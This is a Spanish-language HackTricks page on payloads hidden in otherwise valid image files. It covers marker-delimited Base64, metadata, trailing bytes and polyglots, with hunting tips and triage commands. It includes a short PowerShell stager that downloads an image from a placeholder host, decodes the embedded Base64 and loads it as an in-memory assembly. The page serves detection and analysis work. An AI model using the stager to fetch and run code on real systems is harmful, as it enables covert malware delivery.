Malware & Network Stego

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

No toda la steganography es pixel LSB; el commodity malware a menudo oculta payloads dentro de archivos que por lo demás son válidos.

Patrones prácticos

Payloads delimitados por marcadores en imágenes válidas

Si una imagen se descarga y se parsea inmediatamente como texto/Base64 por un script, el payload a menudo está delimitado por marcadores en lugar de ocultarse en los píxeles.

Los commodity loaders cada vez más ocultan Base64 payloads como texto plano dentro de imágenes válidas (a menudo GIF/PNG). En lugar de pixel-level LSB, el payload está delimitado por cadenas de marcadores únicas incrustadas en el texto/metadata del archivo. Un stager entonces:

  • Descarga la imagen vía HTTP(S)
  • Localiza los marcadores de inicio/fin
  • Extrae el texto entre marcadores y lo decodifica Base64
  • Carga/ejecuta en memoria

Snippet mínimo de PowerShell para carving:

$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}

Notes:

  • ATT&CK: T1027.003 (steganography)
  • Detection/hunting:
  • Escanea las imágenes descargadas en busca de cadenas delimitadoras.
  • Marca scripts que obtienen imágenes y llaman inmediatamente a rutinas de decodificación Base64 (PowerShell FromBase64String, JS atob, etc).
  • Busca desajustes en el content-type HTTP (image/* response pero el body contiene ASCII/Base64 largo).

Other high-signal places to hide payloads

Estos suelen ser más rápidos de comprobar que el stego a nivel de píxeles:

  • Metadatos: EXIF/XMP/IPTC, PNG tEXt/iTXt/zTXt, segmentos JPEG COM/APPn.
  • Trailing bytes: datos añadidos después del marcador de fin formal (p. ej., después de PNG IEND).
  • Embedded archives: un ZIP/7z incrustado o anexado y extraído por el loader.
  • Polyglots: archivos diseñados para ser válidos bajo múltiples parsers (p. ej., image + script + archive).

Triage commands

file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample

Referencias:

  • Ejemplo de Unit 42: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
  • MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
  • Políglotas de formatos de archivo y trucos de contenedores: https://github.com/corkami/docs
  • Aperi’Solve (triage de stego basado en la web): https://aperisolve.com/

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks